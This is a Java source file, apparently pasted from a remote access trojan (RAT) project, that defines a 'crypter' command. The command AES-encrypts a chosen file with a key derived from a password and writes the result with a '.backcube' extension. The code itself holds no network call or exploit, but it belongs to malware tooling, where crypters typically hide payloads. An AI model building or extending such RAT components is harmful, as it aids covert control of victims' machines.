· 8 years ago · Dec 12, 2017, 09:20 PM
1package dev.i_ii_zx_D3s_i_x.rat.AdminClient.commands.commands.general;
2
3import java.io.File;
4import java.io.FileInputStream;
5import java.io.FileOutputStream;
6import java.io.IOException;
7import java.io.InputStream;
8import java.io.OutputStream;
9import java.io.UnsupportedEncodingException;
10import java.security.InvalidKeyException;
11import java.security.Key;
12import java.security.MessageDigest;
13import java.security.NoSuchAlgorithmException;
14
15import javax.crypto.BadPaddingException;
16import javax.crypto.Cipher;
17import javax.crypto.IllegalBlockSizeException;
18import javax.crypto.NoSuchPaddingException;
19import javax.crypto.spec.SecretKeySpec;
20
21import org.apache.commons.lang3.StringUtils;
22
23import dev.i_ii_zx_D3s_i_x.rat.AdminClient.commands.Command;
24
25public class CrypterCommand extends Command {
26
27 public CrypterCommand() {
28 super("crypter", "Crypter Utils");
29 }
30
31 public boolean runCommand(String arguments) {
32 if (arguments.length() == 0) {
33 System.out.println("Usage: crypter password file");
34 return true;
35 }
36
37 String[] split = null;
38
39 if (arguments.contains(" ")) {
40 split = arguments.split(" ");
41 } else {
42 System.out.println("Usage: crypter password file");
43 return true;
44 }
45
46 if (split.length != 2) {
47 System.out.println("Usage: crypter password file");
48 return true;
49 }
50
51 String ur = StringUtils.join(split, " ", 1, split.length);
52
53 File filein = new File(ur);
54 File fileout = new File(ur + ".backcube");
55
56 try {
57 MessageDigest md = MessageDigest.getInstance("SHA-256");
58 byte[] bybtte = md.digest(split[0].getBytes("UTF-8"));
59
60 Key secretKey = new SecretKeySpec(bybtte, "AES");
61
62 crypt(secretKey, filein, fileout);
63
64 } catch (NoSuchAlgorithmException | UnsupportedEncodingException e) {
65 e.printStackTrace();
66 }
67 return true;
68 }
69
70 public void crypt(Key Key, File inputFile, File outputFile) {
71 try {
72
73 FileInputStream byteStream = new FileInputStream(inputFile);
74 FileOutputStream outputStream = new FileOutputStream(outputFile);
75
76 Cipher aesCipher = Cipher.getInstance("AES/CFB8/NoPadding");
77 aesCipher.init(Cipher.ENCRYPT_MODE, Key);
78
79 byte[] inBytes = new byte[(int) inputFile.length()];
80 byteStream.read(inBytes);
81 byte[] outBytes = aesCipher.doFinal(inBytes);
82
83 outputStream.write(outBytes);
84
85 copy(byteStream, outputStream);
86
87 outputStream.close();
88
89 byteStream.close();
90
91 } catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException | IOException
92 | IllegalBlockSizeException | BadPaddingException e) {
93 e.printStackTrace();
94 }
95 }
96
97 private static void copy(InputStream is, OutputStream os) throws IOException {
98 int i;
99 final byte[] b = new byte[8192];
100 while ((i = is.read(b)) != -1) {
101 os.write(b, 0, i);
102 os.flush();
103 }
104 os.close();
105 is.close();
106 }
107
108}